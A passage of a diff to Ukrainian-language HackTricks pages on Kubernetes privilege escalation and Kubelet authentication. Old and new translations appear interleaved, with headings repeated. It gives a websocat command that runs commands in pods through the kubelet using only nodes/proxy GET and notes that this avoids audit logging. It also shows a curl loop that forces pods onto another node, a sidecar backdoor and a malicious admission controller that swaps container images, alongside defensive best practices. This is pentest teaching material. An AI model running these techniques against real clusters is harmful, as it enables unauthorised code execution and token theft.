Тоді він може оновлювати/створювати нові ролі, кластерні ролі з кращими дозволами, ніж ті, що він має.
Як ви можете прочитати в наступному розділі: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), принципал не може оновлювати або створювати roles чи clusterroles, якщо сам не має цих нових дозволів. За винятком випадку, коли він має **дієслово `escalate` або `*`** над **`roles`** або **`clusterroles`** та відповідні опції binding.\
Тоді він може оновлювати/створювати нові roles, clusterroles з більшими дозволами, ніж ті, що у нього є.
### Проксі вузлів
### Nodes proxy
Принципали з доступом до підресурсу **`nodes/proxy`** можуть **виконувати код на подах** через Kubelet API (згідно з [**цим**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Більше інформації про аутентифікацію Kubelet на цій сторінці:
Принципали з доступом до підресурсу **`nodes/proxy`** можуть **виконувати код у pods** через Kubelet API (згідно з [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Більше інформації про автентифікацію Kubelet на цій сторінці:
{{#ref}}
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
{{#endref}}
У вас є приклад того, як отримати [**RCE, спілкуючись з авторизованим Kubelet API тут**](../pentesting-kubernetes-services/index.html#kubelet-rce).
#### nodes/proxy GET -> Kubelet /exec via WebSocket verb confusion
### Видалення подів + незаплановані вузли
- Kubelet відображає HTTP-методи на RBAC-дієслова **перед** оновленням протоколу. WebSocket handshakes must start with **HTTP GET** (`Connection: Upgrade`), so `/exec` over WebSocket is checked as **verb `get`** instead of the expected `create`.
- `/exec`, `/run`, `/attach`, та `/portforward` явно не відображені й потрапляють у стандартний підресурс **`proxy`**, тож питання авторизації стає **`can <user> get nodes/proxy?`**
- Якщо токен має лише **`nodes/proxy` + `get`**, прямий доступ WebSocket до kubelet на `https://<node_ip>:10250` дозволяє виконувати довільні команди в будь-якому pod на цій ноді. Той самий запит через шлях проксі API server (`/api/v1/nodes/<node>/proxy/exec/...`) відхиляється, оскільки це звичайний HTTP POST і відображається на `create`.
- Kubelet не виконує вторинну авторизацію після оновлення до WebSocket; оцінюється лише початковий GET.
Принципали, які можуть **видаляти поди** (`delete` дієслово над ресурсом `pods`), або **виселяти поди** (`create` дієслово над ресурсом `pods/eviction`), або **змінювати статус пода** (доступ до `pods/status`) і можуть **зробити інші вузли незапланованими** (доступ до `nodes/status`) або **видаляти вузли** (`delete` дієслово над ресурсом `nodes`) і мають контроль над подом, можуть **вкрасти поди з інших вузлів**, щоб вони **виконувалися** на **зламаному** **вузлі**, і атакуючий може **вкрасти токени** з цих подів.
**Прямий експлойт (потребує мережевої досяжності до kubelet та токена з `nodes/proxy` GET):**
```bash
kubectl auth can-i --list | grep "nodes/proxy"
websocat --insecure \
--header "Authorization: Bearer $TOKEN" \
--protocol "v4.channel.k8s.io" \
"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id"
```
- Використовуйте **Node IP**, а не ім'я вузла. Такий самий запит з `curl -X POST` буде **Forbidden**, оскільки він відповідає `create`.
- Прямий доступ до kubelet оминає API server, тому AuditPolicy показує лише `subjectaccessreviews` від kubelet user agent і **не реєструє команди `pods/exec`**.
- Перелічіть уражені service accounts за допомогою [detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a), щоб знайти токени, обмежені до `nodes/proxy` GET.
### Видалення pods + unschedulable nodes
Суб'єкти, які можуть **видаляти pods** (`delete` verb over `pods` resource), або **evict pods** (`create` verb over `pods/eviction` resource), або **змінювати статус pod** (доступ до `pods/status`) та можуть **зробити інші nodes недоступними для планування** (доступ до `nodes/status`) або **видаляти nodes** (`delete` verb over `nodes` resource) і контролюють pod, можуть **викрасти pods з інших nodes**, щоб ті **виконувалися** на **скомпрометованому** **node**, і зловмисник може **викрасти токени** з цих pods.
```bash
patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
@@ -641,43 +659,43 @@ while true; do patch_node_capacity <id_other_node>; done &
kubectl delete pods -n kube-system <privileged_pod_name>
```
### Стан сервісів (CVE-2020-8554)
### Services status (CVE-2020-8554)
Принципали, які можуть **модифікувати** **`services/status`**, можуть встановити поле `status.loadBalancer.ingress.ip`, щоб експлуатувати **неусунуту CVE-2020-8554** та запускати **MiTM атаки проти кластера**. Більшість заходів щодо пом'якшення CVE-2020-8554 лише запобігають сервісам з ExternalIP (згідно з [**цим**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
Принципали, які можуть **змінювати** **`services/status`**, можуть встановити поле `status.loadBalancer.ingress.ip`, щоб використати **unfixed CVE-2020-8554** та запустити **MiTM атаки проти кластера**. Більшість пом'якшень для CVE-2020-8554 лише запобігають ExternalIP services (відповідно до [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
### Стан вузлів і подів
### Nodes and Pods status
Принципали з **`update`** або **`patch`** дозволами над `nodes/status` або `pods/status` можуть модифікувати мітки, щоб вплинути на обмеження планування.
Суб'єкти з правами **`update`** або **`patch`** над `nodes/status` або `pods/status` можуть змінювати мітки, щоб вплинути на застосовані обмеження планування.
## Вбудоване запобігання ескалації привілеїв
## Built-in Privileged Escalation Prevention
Kubernetes має [вбудований механізм](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) для запобігання ескалації привілеїв.
Kubernetes має [built-in mechanism](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) для запобігання privilege escalation.
Ця система забезпечує, що **користувачі не можуть підвищити свої привілеї, модифікуючи ролі або прив'язки ролей**. Виконання цього правила відбувається на рівні API, забезпечуючи захист навіть коли авторизатор RBAC неактивний.
Ця система гарантує, що **users cannot elevate their privileges by modifying roles or role bindings**. Застосування цього правила відбувається на рівні API, забезпечуючи захист навіть коли RBAC authorizer неактивний.
Правило stipulates, що **користувач може створювати або оновлювати роль лише якщо він має всі дозволи, які містить роль**. Більше того, обсяг існуючих дозволів користувача повинен відповідати обсягу ролі, яку він намагається створити або модифікувати: або на рівні кластера для ClusterRoles, або обмежений тим самим простором імен (або на рівні кластера) для Roles.
Правило встановлює, що **user can only create or update a role if they possess all the permissions the role comprises**. Крім того, область існуючих дозволів користувача має відповідати області ролі, яку він намагається створити або змінити: або на рівні кластера для ClusterRoles, або обмеженою до того самого namespace (або на рівні кластера) для Roles.
> [!WARNING]
> Існує виняток з попереднього правила. Якщо принципал має **дію `escalate`** над **`roles`** або **`clusterroles`**, він може підвищити привілеї ролей і кластерних ролей, навіть не маючи самих дозволів.
> Існує виняток з попереднього правила. Якщо у принципала є **verb `escalate`** над **`roles`** або **`clusterroles`**, він може підвищити привілеї ролей і clusterroles навіть не маючи цих дозволів самостійно.
### **Отримати та модифікувати RoleBindings/ClusterRoleBindings**
### **Get & Patch RoleBindings/ClusterRoleBindings**
> [!CAUTION]
> **Очевидно, ця техніка працювала раніше, але згідно з моїми тестами, вона більше не працює з тієї ж причини, що й у попередньому розділі. Ви не можете створити/модифікувати прив'язку ролі, щоб надати собі або іншому SA деякі привілеї, якщо у вас їх вже немає.**
> **Apparently this technique worked before, but according to my tests it's not working anymore for the same reason explained in the previous section. Yo cannot create/modify a rolebinding to give yourself or a different SA some privileges if you don't have already.**
Привілей створювати Rolebindings дозволяє користувачу **прив'язувати ролі до облікового запису служби**. Цей привілей може потенційно призвести до ескалації привілеїв, оскільки **дозволяє користувачу прив'язувати адміністративні привілеї до скомпрометованого облікового запису служби.**
Привілей створювати Rolebindings дозволяє користувачу **bind roles to a service account**. Цей привілей потенційно може призвести до privilege escalation, оскільки він **дозволяє користувачу прив'язати admin privileges до скомпрометованого service account.**
## Інші атаки
## Other Attacks
### Додаток проксі-сайдкара
### Sidecar proxy app
За замовчуванням у комунікації між подами немає жодного шифрування. Взаємна аутентифікація, двостороння, под до пода.
За замовчуванням немає шифрування в комунікації між pods. Відсутня двостороння (mutual) автентифікація pod-to-pod.
#### Створити додаток проксі-сайдкара
#### Create a sidecar proxy app
Контейнер-сайдкар складається просто з додавання **другого (або більше) контейнера всередині пода**.
Sidecar container полягає просто у додаванні **другого (або більше) контейнера всередині pod**.
Наприклад, наступне є частиною конфігурації пода з 2 контейнерами:
Наприклад, нижче частина конфігурації pod з 2 контейнерами:
```yaml
spec:
containers:
@@ -687,15 +705,15 @@ image: nginx
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]
```
Наприклад, щоб створити бекдор для існуючого пода з новим контейнером, ви можете просто додати новий контейнер у специфікацію. Зверніть увагу, що ви можете **надати більше прав** другому контейнеру, яких не буде у першого.
Наприклад, щоб backdoor існуючий pod новим container, ви можете просто додати новий container у specification. Зверніть увагу, що ви можете **надати більше прав** другому container'у, яких перший не матиме.
Більше інформації на: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
Детальніше: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
### Зловмисний контролер доступу
### Зловмисний Admission Controller
Контролер доступу **перехоплює запити до API-сервера Kubernetes** перед збереженням об'єкта, але **після того, як запит аутентифіковано** **та авторизовано**.
Admission controller **перехоплює запити до Kubernetes API server** перед збереженням об'єкта, але **після того, як запит аутентифіковано** **і авторизовано**.
Якщо зловмиснику вдасться **впровадити контролер доступу для мутації**, він зможе **модифікувати вже аутентифіковані запити**. Це може дозволити потенційно підвищити привілеї, а також зазвичай зберігатися в кластері.
Якщо зловмиснику якимось чином вдасться **впровадити Mutation Admission Controller**, він зможе **змінювати вже аутентифіковані запити**. Це може потенційно призвести до privesc, а частіше — дозволити персистувати в кластері.
**Приклад з** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
```bash
@@ -704,30 +722,30 @@ cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w
```
Перевірте статус, щоб дізнатися, чи готовий він:
Перевірте статус, щоб дізнатися, чи готово:
```bash
kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo
```
![mutating-webhook-status-check.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433436353/yHUvUWugR.png?auto=compress,format&format=webp)
Тоді розгорніть новий pod:
Потім розгорніть новий pod:
```bash
kubectl run nginx --image nginx
kubectl get po -w
```
Коли ви бачите помилку `ErrImagePull`, перевірте ім'я зображення за допомогою одного з запитів:
Коли ви бачите помилку `ErrImagePull`, перевірте ім'я образу за допомогою одного з запитів:
```bash
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "
```
![malicious-admission-controller.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433512073/leFXtgSzm.png?auto=compress,format&format=webp)
Як ви можете бачити на зображенні вище, ми намагалися запустити образ `nginx`, але в кінцевому підсумку виконаний образ - `rewanthtammana/malicious-image`. Що тільки що сталося!!?
Як видно на зображенні вище, ми намагалися запустити образ `nginx`, але в результаті було виконано образ `rewanthtammana/malicious-image`. Що тільки що сталося!?
#### Технічні деталі
#### Технічні подробиці
Скрипт `./deploy.sh` встановлює контролер доступу до вебхуків, який модифікує запити до API Kubernetes відповідно до його конфігураційних рядків, впливаючи на спостережувані результати:
Скрипт `./deploy.sh` встановлює mutating webhook admission controller, який змінює запити до Kubernetes API відповідно до рядків його конфігурації, впливаючи на спостережувані результати:
```
patches = append(patches, patchOperation{
Op: "replace",
@@ -735,9 +753,9 @@ Path: "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})
```
Вищенаведений фрагмент замінює перше зображення контейнера в кожному поді на `rewanthtammana/malicious-image`.
The above snippet replaces the first container image in every pod with `rewanthtammana/malicious-image`.
## OPA Gatekeeper обход
## OPA Gatekeeper bypass
{{#ref}}
../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md
@@ -745,18 +763,18 @@ Value: "rewanthtammana/malicious-image",
## Найкращі практики
### **Вимкнення автоматичного монтування токенів облікових записів служби**
### **Вимкнення автоматичного монтування токенів Service Account**
- **Поди та облікові записи служби**: За замовчуванням, поди монтують токен облікового запису служби. Для підвищення безпеки Kubernetes дозволяє вимкнути цю функцію автоматичного монтування.
- **Як застосувати**: Встановіть `automountServiceAccountToken: false` у конфігурації облікових записів служби або подів, починаючи з версії Kubernetes 1.6.
- **Pods and Service Accounts**: За замовчуванням pods монтують токен service account. Щоб підвищити безпеку, Kubernetes дозволяє вимкнути цю функцію автоматичного монтування.
- **Як застосувати**: Встановіть `automountServiceAccountToken: false` у конфігурації service accounts або pods починаючи з версії Kubernetes 1.6.
### **Обмежене призначення користувачів у RoleBindings/ClusterRoleBindings**
- **Селективне включення**: Переконайтеся, що лише необхідні користувачі включені в RoleBindings або ClusterRoleBindings. Регулярно перевіряйте та видаляйте нерелевантних користувачів для підтримки високої безпеки.
- **Вибіркове включення**: Переконайтеся, що в RoleBindings або ClusterRoleBindings включені лише необхідні користувачі. Регулярно проводьте аудит і видаляйте непотрібних користувачів для підтримки суворої безпеки.
### **Ролі, специфічні для простору імен, замість ролей для кластера**
### **Ролі, обмежені namespace, замість ролей на рівні кластера**
- **Ролі проти ClusterRoles**: Віддавайте перевагу використанню Roles і RoleBindings для дозволів, специфічних для простору імен, замість ClusterRoles і ClusterRoleBindings, які застосовуються на рівні кластера. Цей підхід забезпечує більш точний контроль і обмежує обсяг дозволів.
- **Roles vs. ClusterRoles**: Віддавайте перевагу використанню Roles і RoleBindings для дозволів, специфічних для namespace, замість ClusterRoles і ClusterRoleBindings, які застосовуються по всьому кластеру. Такий підхід дає більш точний контроль і обмежує зону дії дозволів.
### **Використовуйте автоматизовані інструменти**
@@ -779,5 +797,8 @@ https://github.com/aquasecurity/kube-bench
- [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers)
- [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html)
- [**https://kubenomicon.com/**](https://kubenomicon.com/)
- [nodes/proxy GET -> kubelet exec WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce)
- [nodes/proxy GET detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a)
- [websocat](https://github.com/vi/websocat)
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,25 +1,25 @@
# Аутентифікація та авторизація Kubelet
# Аутентифікація та авторизація kubelet
{{#include ../../../banners/hacktricks-training.md}}
## Аутентифікація Kubelet <a href="#kubelet-authentication" id="kubelet-authentication"></a>
## Аутентифікація kubelet <a href="#kubelet-authentication" id="kubelet-authentication"></a>
[**З документації:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
[**З документа:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
За замовчуванням запити до HTTPS-інтерфейсу kubelet, які не відхилені іншими налаштованими методами аутентифікації, розглядаються як анонімні запити і отримують **ім'я користувача `system:anonymous`** та **групу `system:unauthenticated`**.
За замовчуванням запити до HTTPS-ендпоінта kubelet, які не відхиляються іншими налаштованими методами аутентифікації, вважаються анонімними запитами і отримують **ім'я користувача `system:anonymous`** та **групу `system:unauthenticated`**.
**3** методи **аутентифікації**:
Існує **3** методи аутентифікації:
- **Анонімний** (за замовчуванням): Використовуйте параметр **`--anonymous-auth=true` або конфігурацію:**
- **Anonymous** (за замовчуванням): встановіть параметр **`--anonymous-auth=true` або в конфігурації:**
```json
"authentication": {
"anonymous": {
"enabled": true
},
```
- **Webhook**: Це **дозволить** токени **API bearer** kubectl як авторизацію (будь-який дійсний токен буде дійсним). Дозвольте це з:
- переконайтеся, що група API `authentication.k8s.io/v1beta1` увімкнена на сервері API
- запустіть kubelet з прапорами **`--authentication-token-webhook`** та **`--kubeconfig`** або використайте наступне налаштування:
- **Webhook**: Це дозволить **увімкнути** kubectl **API bearer tokens** як авторизацію (будь-який дійсний токен буде прийнятий). Дозвольте це за допомогою:
- переконайтеся, що група API `authentication.k8s.io/v1beta1` увімкнена в API-сервері
- запустіть kubelet з флагами **`--authentication-token-webhook`** та **`--kubeconfig`** або використайте наступну настройку:
```json
"authentication": {
"webhook": {
@@ -28,11 +28,10 @@
},
```
> [!NOTE]
> Kubelet викликає **`TokenReview` API** на налаштованому API сервері, щоб **визначити інформацію про користувача** з токенів доступу
- **X509 клієнтські сертифікати:** Дозволяють аутентифікацію через X509 клієнтські сертифікати
- дивіться [документацію з аутентифікації apiserver](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) для отримання додаткової інформації
- запустіть kubelet з прапором `--client-ca-file`, надаючи пакет CA для перевірки клієнтських сертифікатів. Або з конфігурацією:
> kubelet звертається до **`TokenReview` API** на налаштованому API-сервері, щоб **визначити інформацію про користувача** з bearer tokens
- **X509 client certificates:** Дозволяють автентифікуватися за допомогою X509 client certs
- дивіться [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) для детальнішої інформації
- запустіть kubelet з прапорцем `--client-ca-file`, надаючи CA bundle для перевірки client certificates. Або з конфігурацією:
```json
"authentication": {
"x509": {
@@ -40,16 +39,16 @@
}
}
```
## Kubelet Authorization <a href="#kubelet-authentication" id="kubelet-authentication"></a>
## Авторизація Kubelet <a href="#kubelet-authentication" id="kubelet-authentication"></a>
Будь-який запит, який успішно аутентифікований (включаючи анонімний запит) **потім авторизується**. **За замовчуванням** режим авторизації - **`AlwaysAllow`**, який **дозволяє всі запити**.
Будь-який запит, який успішно автентифіковано (включно з анонімним запитом), **потім авторизується**. За замовчуванням режим авторизації **`AlwaysAllow`**, який **дозволяє всі запити**.
Однак інше можливе значення - **`webhook`** (що ви **в основному будете знаходити там**). Цей режим **перевіряє дозволи аутентифікованого користувача** для дозволу або заборони дії.
Однак іншим можливим значенням є **`webhook`** (саме це ви **найчастіше зустрінете**). Цей режим **перевіряє права автентифікованого користувача**, щоб дозволити або заборонити виконання дії.
> [!WARNING]
> Зверніть увагу, що навіть якщо **анонімна аутентифікація увімкнена**, **анонімний доступ** може **не мати жодних дозволів** для виконання будь-якої дії.
> Зверніть увагу, що навіть якщо **анонімна автентифікація увімкнена**, **анонімний доступ** може **не мати жодних прав** для виконання жодної дії.
Авторизація через webhook може бути налаштована за допомогою **параметра `--authorization-mode=Webhook`** або через конфігураційний файл з:
Авторизацію через webhook можна налаштувати за допомогою параметра **`--authorization-mode=Webhook`** або через файл конфігурації за допомогою:
```json
"authorization": {
"mode": "Webhook",
@@ -59,41 +58,45 @@
}
},
```
Kubelet викликає **`SubjectAccessReview`** API на налаштованому API сервері, щоб **визначити**, чи кожен запит є **авторизованим.**
Kubelet викликає API **`SubjectAccessReview`** на налаштованому API-сервері, щоб **визначити**, чи кожен запит **авторизований.**
Kubelet авторизує API запити, використовуючи той же підхід [атрибутів запиту](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes), що й apiserver:
Kubelet авторизує API-запити, використовуючи той самий підхід [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes), що й apiserver:
- **Дія**
- **Action**
| HTTP verb | request verb |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| POST | create |
| GET, HEAD | get (для окремих ресурсів), list (для колекцій, включаючи повний вміст об'єкта), watch (для спостереження за окремим ресурсом або колекцією ресурсів) |
| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) |
| PUT | update |
| PATCH | patch |
| DELETE | delete (для окремих ресурсів), deletecollection (для колекцій) |
| DELETE | delete (for individual resources), deletecollection (for collections) |
- **Ресурс**, що взаємодіє з Kubelet API, **завжди** **вузли**, а **субресурс** **визначається** з шляху вхідного запиту:
- Ресурс, який опрацьовує Kubelet API, завжди**nodes**, а **subresource** визначається з шляху вхідного запиту:
| Kubelet API | ресурс | субресурс |
| ------------ | ------ | --------- |
| /stats/\* | вузли | stats |
| /metrics/\* | вузли | metrics |
| /logs/\* | вузли | log |
| /spec/\* | вузли | spec |
| _всі інші_ | вузли | proxy |
| Kubelet API | resource | subresource |
| ------------ | -------- | ----------- |
| /stats/\* | nodes | stats |
| /metrics/\* | nodes | metrics |
| /logs/\* | nodes | log |
| /spec/\* | nodes | spec |
| _all others_ | nodes | proxy |
Наприклад, наступний запит намагався отримати доступ до інформації про поди kubelet без дозволу:
> [!NOTE]
> Запити на основі WebSocket `/exec`, `/run`, `/attach`, and `/portforward` потрапляють у стандартний підресурс **proxy** і авторизуються з використанням початкового HTTP **GET** рукопотискання. Принципал, у якого є лише `nodes/proxy` **GET**, все одно може виконувати exec у контейнерах, якщо підключається безпосередньо до `https://<node_ip>:10250` через WebSockets. Див. the [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) для деталей.
Наприклад, наступний запит намагався отримати інформацію про pods kubelet без дозволу:
```bash
curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods'
Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy)
```
- Ми отримали **Заборонено**, отже запит **пройшов перевірку автентифікації**. Якщо б ні, ми отримали б лише повідомлення `Неавторизовано`.
- Ми можемо бачити **ім'я користувача** (в даному випадку з токена)
- Перевірте, як **ресурсом** були **вузли**, а **субресурсом** **проксі** (що має сенс з попередньою інформацією)
- Ми отримали **Forbidden**, тому запит **passed the Authentication check**. Якби ні, ми б отримали лише повідомлення `Unauthorised`.
- Ми бачимо **username** (у цьому випадку з token)
- Зверніть увагу, як **resource** було **nodes** і **subresource** **proxy** (що узгоджується з попередньою інформацією)
## References
## Посилання
- [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
- [nodes/proxy GET -> kubelet exec via WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce)
{{#include ../../../banners/hacktricks-training.md}}